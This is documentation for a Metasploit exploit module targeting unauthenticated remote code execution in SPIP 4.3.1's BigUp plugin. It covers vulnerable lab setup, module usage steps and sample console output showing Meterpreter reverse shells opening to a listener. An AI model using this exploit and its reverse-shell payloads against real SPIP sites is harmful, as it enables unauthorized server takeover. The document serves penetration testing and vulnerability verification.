## Vulnerable Application

This Metasploit module exploits a Remote Code Execution vulnerability in SPIP
versions up to and including 4.3.1, specifically in the BigUp plugin.
The vulnerability occurs due to improper handling of file uploads in the
`lister_fichiers_par_champs` function, which can be exploited by crafting a malicious multipart form request.
This allows an attacker to inject and execute arbitrary PHP code on the server.

### Non-Docker Setup

To replicate a vulnerable environment for testing, follow these steps:

1. Download and set up SPIP version 4.3.1.
2. Use the built-in PHP server to host the SPIP instance.

#### Commands to Set Up the Vulnerable Environment:

```bash
wget https://files.spip.net/spip/archives/spip-v4.3.1.zip
mkdir spip && mv spip-v4.3.1.zip spip
cd spip && unzip spip-v4.3.1.zip
php -S 0.0.0.0:8000
```

- **SPIP Access URL:** `http://localhost:8000`
- **SPIP Version:** 4.3.1

After starting the PHP server, SPIP will be accessible at `http://localhost:8000`.

To complete the installation:

1. Navigate to `http://localhost:8000/ecrire` to access the SPIP web installation panel.
2. Follow the on-screen instructions to complete the setup.

### Docker Setup

To replicate a vulnerable environment for testing, follow these steps:

1. Pull the vulnerable SPIP Docker image:

```bash
docker run --name casse-spip -p 8000:80 \
    -e SPIP_DB_SERVER=sqlite3 \
    -e SPIP_SITE_ADDRESS=http://localhost \
    -d ipeos/spip:4.3.1
```

2. Go to `http://localhost:8000` to access the SPIP application.

## Verification Steps

1. Set up a SPIP instance using the commands provided above.
2. Launch `msfconsole` in your Metasploit framework.
3. Use the module: `use exploit/multi/http/spip_bigup_unauth_rce`.
4. Set `RHOSTS` to the local IP address or hostname of the target.
5. Configure necessary options such as `TARGETURI`, `SSL`, and `RPORT`.
6. Execute the exploit using the `run` or `exploit` command.
7. If the target is vulnerable, the module will execute the specified payload.

## Options

### FORM_PAGE
This option allows you to specify a custom page on the target SPIP installation that contains a form.
By default, the module will automatically check the `login`, `spip_pass`, and `contact` pages for forms,
but if you know of another page that contains a form, you can specify it here.
For example, if an article page contains a form, you can set this option like so:

```
set FORM_PAGE /spip.php?article1
```

This will instruct the module to look for the form data on `/spip.php?article1`.
If the specified page contains the vulnerable form, the module will proceed with the exploitation.
This option is particularly useful when the default pages (`login`, `spip_pass` and `contact`)
do not contain the form or are not accessible.

## Scenarios

### Successful Exploitation Against Local SPIP 4.3.1

**Setup**:

- Local SPIP instance with version 4.3.1.
- Metasploit Framework.

**Steps**:

1. Start `msfconsole`.
2. Load the module via `use exploit/multi/http/spip_bigup_unauth_rce`
3. Set `RHOSTS` to the local IP (e.g., 127.0.0.1).
4. Configure other necessary options (`TARGETURI`, `SSL`, etc.).
5. Launch the exploit:
```bash
exploit
```

**Expected Results**:

With `php/meterpreter/reverse_tcp`:

```bash
msf exploit(multi/http/spip_bigup_unauth_rce) > run http://127.0.0.1:8000

[*] Started reverse TCP handler on 192.168.1.36:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] SPIP Version detected: 4.3.1
[+] SPIP version 4.3.1 is vulnerable.
[*] Bigup plugin version detected: 3.2.11
[+] The target appears to be vulnerable. Both the detected SPIP version (4.3.1) and bigup version (3.2.11) are vulnerable.
[*] Found formulaire_action: login
[*] Found formulaire_action_args: yt4d8ri/avF6LO/OwLA2O...
[*] Preparing to send exploit payload to the target...
[*] Sending stage (39927 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (192.168.1.36:4444 -> 172.17.0.2:54956) at 2024-09-08 05:53:39 +0200

meterpreter > sysinfo 
Computer    : d6c6866cac5a
OS          : Linux d6c6866cac5a 5.15.0-119-generic #129-Ubuntu SMP Fri Aug 2 19:25:20 UTC 2024 x86_64
Meterpreter : php/linux
```

With `cmd/linux/http/x64/meterpreter/reverse_tcp`:

```bash
msf exploit(multi/http/spip_bigup_unauth_rce) > run http://127.0.0.1:8000

[*] Started reverse TCP handler on 192.168.1.36:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] SPIP Version detected: 4.3.1
[+] SPIP version 4.3.1 is vulnerable.
[*] Bigup plugin version detected: 3.2.11
[+] The target appears to be vulnerable. Both the detected SPIP version (4.3.1) and bigup version (3.2.11) are vulnerable.
[*] Found formulaire_action: login
[*] Found formulaire_action_args: yt4d8ri/avF6LO/OwLA2O...
[*] Preparing to send exploit payload to the target...
[*] Sending stage (3045380 bytes) to 172.17.0.2
[*] Meterpreter session 2 opened (192.168.1.36:4444 -> 172.17.0.2:55956) at 2024-09-08 05:54:43 +0200

meterpreter > sysinfo 
Computer     : 172.17.0.2
OS           : Debian 11.10 (Linux 5.15.0-119-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
```

- The module successfully exploits the vulnerability and opens a Meterpreter session on the target.

**Note**: Ensure the SPIP instance is correctly configured and running using the manual setup for the exploit to work as expected.
